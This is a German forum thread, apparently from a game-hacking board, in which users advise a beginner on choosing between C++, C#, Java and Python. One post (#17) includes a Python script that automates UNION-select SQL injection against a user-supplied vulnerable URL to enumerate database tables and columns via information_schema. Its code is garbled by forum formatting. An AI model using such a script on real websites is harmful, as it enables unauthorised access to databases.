Die Verzweiflung

03/17/2011 23:44 Akorn#16
Ja fürs gamehacking ist C++ besser geeignet.
03/18/2011 04:24 SpinnenGetier#17
Kleine Frage: Warum C# lernen, dass (einwandfrei) nur unter Windows läuft? Java ist fast gleich, ist aber platformunabhängig. Zudem rate ich dir sehr, eine Sprache zu lernen die nicht in einer VM läuft.

Alsoo: Zum entwickeln grösserer OOP Anwendungen, die selten auf native Funktionen eines OS zugreifen, nimmst du C# oder Java, zum richtigen Coden C/C++ und für alles Webgedings Python. HTML und PHP kann man einfach :)

Ich habe beispielsweise erstmal ein Jahr lang Java gecodet, bin nun aber mit C/C++ ganz gut dabei. Ist viiiiiiiiel schwerer, aber man lernt richtig wie Daten aufgebaut sind. Bei Java schubst man meistend abstrakte Objekte hin und her und hinter deinem Rücken rattern die Pointer in der VM von Polen nach Molen...

Hier mal ein kleines Beispiel für ne automatisierte SQL Injection Abfrage von mir in Python (mysql 5 / union_select funzt), Python ist simple und sehr mächtig :)

PHP Code:
import urllib2

__author__
="Spider"
__date__ ="$28.02.2011 19:42:01$"

def pout (html):
    
mark 'm6034-1'
    
html.index(mark)
    
#k += len(mark)+2
    
k
    
while html[i] != '<':
        
i+=1
    
print html[k:i]

def createQuery(number_columns,column_show):
    
lst = []
    for 
i in range(number_columns):
        
i+=1
        
if == column_show:
            
lst.append('concat_ws%280x3a,table_schema,table_name,column_name%29')
            if (
number_columns):
                
lst.append(',')
        else:
            
lst.append(repr(i))
            if (
i<number_columns):
                
lst.append(',')
    
str ''.join(lst)
    return 
str

def get_URL_list
(vul_URL,build):
    
const_1 '-1+union+select+'
    
const_2 '+from+information_schema.columns+limit+'
    
url_list = []
    for 
i in range(300):
        
lst = []
        
lst.append(vul_URL)
        
lst.append(const_1)
        
lst.append(build)
        
lst.append(const_2)
        
lst.append(repr(i+318))
        
lst.append(',500+--+')
        final = 
"".join(lst)
        
url_list.append(final)
    print 
'done'
    
return url_list

print '*******************************************************************************************'
print 'enter the vul website URL, the script is going to read all tables via information_scheme'
print '*******************************************************************************************'
vul_URL raw_input()
print 
'*******************************************************************************************'
print 'enter number of columns'
print '*******************************************************************************************'
number_columns int(raw_input())
print 
'*******************************************************************************************'
print 'enter column where to show'
print '*******************************************************************************************'
show int(raw_input())

build createQuery(number_columns,show)

#MAIN
lst get_URL_list(vul_URL,build)
for 
i in lst:
    
#print i
    
html urllib2.urlopen(i)
    
html.read()
    
#print x
    
pout(x
Aber das Wichtigste: Lern Coden...
03/18/2011 10:52 Adroxxx#18
Lern alle.
Jetzt im Ernst. Wenn du Programmierer oder Informatiker etc. sein willst, musst du sowieso eine Hand voll Sprachen lernen.

Als Programmierer solltest du sowieso mehrere Sprachen können. Warum das Leben schwer machen und Wochenlang darüber nachdenken, welche Sprache man lern, wenn man später sowieso mehrere können muss. Besonders wenn du dich später in dem Bereich weiterbilden willst, Ausbildung, Studium etc. wirst du oftmals auf andere Sprachen stoßen die du kennst.

Ich hatte in der Schule mit Pascal und ASM angefangen. Konnte man schon viel machen. Berufschule dann C, später C++, später C++ mit MFC. Studium angefangen, da wurde Java gelehrt. In Algorithmik dann Python.

Ansich ist es, auch wenn es komisch klingt, ganz egal welche Sprache du lernst. Es kommt auf das Grundverständnis an. Wenn du ein Grundverständnis von Programmieren und Algorithmen hast, kannst du jede Sprache in ein paar Wochen lernen. Da es meistens nur andere Begriffe sind. Leicht veränderte Syntax.

Aber gut, um die eine grobe Richtung vorzugeben:
Gamehacking liegst du mit C++ nie daneben. Es wird viel mit Speicher gearbeitet, Clientpatching, DLLs, Funktionen hooken etc. dafür ist C++ einfach die erste Wahl.

Webhacking etc. Exploits usw. schreiben, meistens in C oder Perl. Wobei ob du Perl oder Python nimmst, ist da nicht so die sache. Lern einfach beide. Sind recht einfach zu lernen. Sehr bequeme Syntax.

Anwendungsprogrammierer, würde ich dir zu C++ oder C# raten. Kannst aber auch Java lernen.
Man kann sich über Java streiten, wegen Performance, etc. klar ist jedoch dass es in Mobilen Geräten zum Einsatz kommt. Android usw. man sollte auch mit der Zeit gehen und Android Programmierer werden gerade sowieso Händeringend gesucht. Hat also auch Zukunftspotential.
03/18/2011 12:52 xNopex#19
Quote:
Kleine Frage: Warum C# lernen, dass (einwandfrei) nur unter Windows läuft? Java ist fast gleich, ist aber platformunabhängig.
C# bietet ein paar Vorteile gegenüber Java, weshalb man C# bevorzugen sollte, wenn man primär für Windows Plattformen programmieren will.

Quote:
Zudem rate ich dir sehr, eine Sprache zu lernen die nicht in einer VM läuft.
Unfug.

Quote:
Alsoo: Zum entwickeln grösserer OOP Anwendungen, die selten auf native Funktionen eines OS zugreifen
???

Quote:
zum richtigen Coden C/C++
*kotz*
03/18/2011 13:33 rokko93#20
Nun gut, ihr habt mich überzeugt/überredet doch C++ zu lernen :). Natürlich werde ich mir früher oder später andere Sprachen aneignen.Adroxx hat auch ein paar wesentliche Dinge gesagt, über die ich hätte nachdenken sollen:

Quote:
Ansich ist es, auch wenn es komisch klingt, ganz egal welche Sprache du lernst. Es kommt auf das Grundverständnis an. Wenn du ein Grundverständnis von Programmieren und Algorithmen hast, kannst du jede Sprache in ein paar Wochen lernen. Da es meistens nur andere Begriffe sind. Leicht veränderte Syntax.

Aber gut, um die eine grobe Richtung vorzugeben:
Gamehacking liegst du mit C++ nie daneben. Es wird viel mit Speicher gearbeitet, Clientpatching, DLLs, Funktionen hooken etc. dafür ist C++ einfach die erste Wahl.
Und da ich schon ein Buch ("C++ von A bis Z" = zu Empfehlen???) dafür habe, kann es schon losgehen.
03/18/2011 14:38 black0utCpp#21
Viele sagen C++ von A bis Z sei nicht einsteiger freundlich (Was ich nicht verstehen kann) es gibt aber auch Alternativen wie C/C++ von Ulrich Kaiser .Also wenn du mit C++ von A bis Z nicht klar kommst würde ich dir die vorher genannte Alternative empfehlen
03/18/2011 19:04 Mr0x90#22
frag doch nicht immer das selbe. einmal googlen, gibts millionen treffer mit genau dieser fragestellung auf allen sprachen dieser welt. davon abgesehen bekommst du kompetentere antwort als hier
03/18/2011 19:12 xNopex#23
Ja, du bist das Paradebeispiel dafür, dass unser TS sonstwo kompetentere Antworten erhält, als hier.

Quote:
Nun gut, ihr habt mich überzeugt/überredet doch C++ zu lernen
Darf ich dich dennoch darauf aufmerksam machen, dass es meiner Meinung nach für dich klüger wäre entweder zuerst Java oder C# zu lernen? Es ist einfach bequemer und man lernt schneller coole Sachen, wie bunte Fenster zu programmieren. Bei C++ sitzt du die meiste Zeit vor einer schwarzen Konsole, die so deprimierend ist.
Wie bereits oft erwähnt wurde, ist deine Lernkurve viel steiler, als in C++. D.h. man ist "langzeitmotivierter". Und hast du erstmal die ganzen Kontrollstrukturen inne, fällt dir der Umstieg auf C++ tausendmal leichter. Die Syntax ist sehr ähnlich.
03/18/2011 19:21 Adroxxx#24
Quote:
Originally Posted by xNopex View Post
Ja, du bist das Paradebeispiel dafür, dass unser TS sonstwo kompetentere Antworten erhält, als hier.



Darf ich dich dennoch darauf aufmerksam machen, dass es meiner Meinung nach für dich klüger wäre entweder zuerst Java oder C# zu lernen? Es ist einfach bequemer und man lernt schneller coole Sachen, wie bunte Fenster zu programmieren. Bei C++ sitzt du die meiste Zeit vor einer schwarzen Konsole, die so deprimierend ist.
Wie bereits oft erwähnt wurde, ist deine Lernkurve viel steiler, als in C++. D.h. man ist "langzeitmotivierter". Und hast du erstmal die ganzen Kontrollstrukturen inne, fällt dir der Umstieg auf C++ tausendmal leichter. Die Syntax ist sehr ähnlich.
Wieso sollte man immer vor einer schwarzen Konsole sitzen? Je nachdem wie schnell man sich mit GUIs beschäftigt. Man kann auch recht früh schon MFC oder andere GUIs nehmen und hat dann auch bunte fesnter. btw. mit Java sitzt man am Anfang auch nur vor der Klassenausgabe in der IDE. Bis man mit Swing mal Oberflächen macht. Lernkurve ist nicht steiler. C++ ist weder schwerer noch einfacher als Java oder C#. Es ist anders. Im Nachhinein sind vll einige sachen in Java bequemer. Aber mehr nicht.
03/18/2011 19:36 xNopex#25
Quote:
C++ ist weder schwerer noch einfacher als Java oder C#.
Doch. Es macht einen Unterschied, ob ich mir meine GUI komplett einfach nur zusammenklicken kann (C#), bzw sie in 4Zeilen hinschmieren kann, oder ob ich davor eine externe Lib suchen muss, die ich dann noch richtig in mein Projekt einbinden muss.
Bei mir hat das knapp zwei Jahre gedauert, bis ich mich aus dem Standard herausgewagt habe. Mich hat die WinAPI mit ihren seltsam anmutenden Datentypen, Funktionen mit ihren tausend Parametern erdrückt. An externe Sachen hatte ich mich lange nicht herangetraut.
Java dagegen ging flott. C# ebenfalls. Deswegen empfehle ich es. AUs meiner Erfahrung.
03/18/2011 20:37 MrSm!th#26
Das ist aber immer Sache des Lernenden.
Es gibt Leute, die fangen sofort mit der WinApi an (dass diese auf lange Sicht failen werden, sollte klar sein), es gibt Leute wie dich, die bauen sich erst ein sehr solides Grundwissen auf (ich weiß nicht, was an der Konsole deprimierend sein soll. Man lernt eine Sprache nicht, um bunte Sachen anklicken zu können und einige der effektivsten Programme sind nur in der Konsole).
Dann gibts noch welche wie mich, die ähnlich wie du anfangs etwas Angst vor HANDLE, LPCWSTR usw. haben, aber sich dann doch recht früh damit befassen und es auch gebacken bekommen.

Hat auch immer mit der Motivation zutun, ich hab mich mit der WinApi ungefähr 4-5 Monate nachdem ich angefangen habe, die Sprache zu lernen befasst und es hat bisher wie gesagt alles super geklappt.

Die Lernkurve war auch nicht gerade flach, ich hab mich eben reingehängt, weil ich die Sprache lernen wollte und speziell Windows Anwendungen.

Wenn man direkt VS mit der MFC hat, muss man auch nicht irgendeine GUI Lib einbinden.
Übrigens, wenn man schon eine Sprache lernen will, sollte man nicht zu faul sein, eine Lib einzubinden.

Was allerdings stimmt, ist, dass man sich am Anfang nicht mit dem GUI Gedöns befassen sollte, die Konsole ist nicht umsonst für Anfänger, da wird man nicht mit zu viel anderem Code verwirrt.
Aber sobald man die Grundlagen der Sprache kann, kann man sich natürlich mit GUIs befassen, ob eben kurz oder erst lange nachher.
Und das gilt für C++, wie für Java, wie für C#.
Bei denen fängt man auch nicht nach dem Hello World mit GUIs an.